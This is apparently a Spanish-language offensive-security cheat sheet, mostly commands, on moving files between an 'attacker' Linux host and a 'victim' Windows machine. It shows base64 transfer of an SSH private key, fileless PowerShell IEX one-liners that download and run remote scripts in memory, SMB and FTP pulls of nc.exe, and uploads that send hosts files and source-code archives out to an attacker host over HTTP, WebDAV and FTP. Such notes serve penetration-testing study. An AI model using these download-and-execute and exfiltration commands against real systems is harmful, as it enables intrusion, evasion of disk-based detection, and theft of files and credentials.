Windows

PowerShell Base64 Codificar y Decodificar

Si tenemos acceso a un terminal, podemos codificar un fichero a una cadena base64, copiar su contenido desde el terminal y realizar la operación inversa, descodificando el fichero en el contenido original, sirve para cuando no se puede usar una red para transferir archivos directamente

Maquina Arch Linux (Atacante)

  • Calcular el hash MD5 del archivo que quieres transferir
terminal
md5sum id_rsa
  • Resultado esperado:
txt
4e301756a07ded0a2dd6953abf015278  id_rsa
  • Codificar el archivo en Base64
bash
$ cat id_rsa | base64 -w 0; echo
-w 0 : para asegurar que sea en una línea

Máquina Víctima (Windows)

  • Crear el archivo desde la cadena Base64. Usa el siguiente comando en PowerShell, reemplazando <cadena_base64> con el texto codificado
powershell
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("<cadena_base64>"))
  • Verificar el hash MD5 del archivo recibido
powershell
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5
Si el hash coincide con el de la máquina atacante, el archivo fue transferido correctamente

Powershell Descarga Web

Cuidado que no lo descarga directamente en el pc

DownloadFile (Básico)

powershell
(New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')

DownloadString - Fileless (IEX)

El término fileless sugiere que una amenaza no viene en un archivo, sino que utiliza herramientas legítimas integradas en un sistema para ejecutar un ataque. Se utilizan funciones del sistema operativo para ejecutar directamente el código en memoria
powershell
IEX (New-Object Net.WebClient).DownloadString('http://<ip>/script.ps1')
Esto lo que hace es guardarse en memoria y ejecutarse directamentesin dejar rastro en el disco

PowerShell Invoke-WebRequest

Hace lo mismo que los otros comandos pero es más lento, es mejor usar iwr,curl,wget
powershell
Invoke-WebRequest http://<ip>/script.ps1 -OutFile script.ps1

Posible Error (Internet Explorer)

Pueden darse casos que haya errores por parte de Internet Explorer, se bypassea usando -useBasicParsing
powershell
Invoke-WebRequest http://<ip>/script.ps1 -UseBasicParsing | IEX

SMB

Maquina Atacante (Arch Linux)

terminal
sudo impacket-smbserver share -smb2support /tmp/smbshare
  • share: Nombre del recurso compartido que se usará para acceder al servidor.
  • smb2support: Habilita soporte para SMBv2.
  • /tmp/smbshare: Ruta en la máquina atacante donde están los archivos que se compartirán.

Descarga de Archivos desde Víctima (Windows)

txt
copy \\192.168.220.133\share\nc.exe

Problema: Acceso Bloqueado por Políticas de Seguridad

En versiones recientes de Windows, el acceso sin autenticación a carpetas compartidas SMB está bloqueado.

Configurar SMB con Usuario y Contraseña

terminal
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

Montar el Servidor SMB en la Máquina Windows

txt
net use n: \\192.168.220.133\share /user:test test

FTP

Configurar servidor FTP Atacante (Arch Linux)

terminal
$ sudo python3 -m pyftpdlib --port 21

Descarga de Archivos Windows

powershell
(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')

Uso Cliente FTP

Si no tienes acceso a un shell interactivo, puedes crear un archivo con los comandos FTP necesarios y ejecutarlo automáticamente.
txt
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt

Operaciones de Subida (proceso inverso)

PowerShell Base64 Encode & Decode

powershell
[Convert]::ToBase64String((Get-Content -path "C:\Windows\System32\drivers\etc\hosts" -Encoding byte))
En la máquina atacante (Linux), decodifica la cadena:
terminal
$ echo <base64_string> | base64 -d > hosts

Transferencia Mediante Servidor HTTP

terminal
$ sudo python3 -m http.server 8080
powershell
IEX(New-Object Net.WebClient).DownloadString('http://<ip>/PSUpload.ps1')
Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts

SMB / WebDav / FTP Uploads

WebDav:
terminal
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
txt
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.128\DavWWWRoot\
FTP con subida:
terminal
$ sudo python3 -m pyftpdlib --port 21 --write
powershell
(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')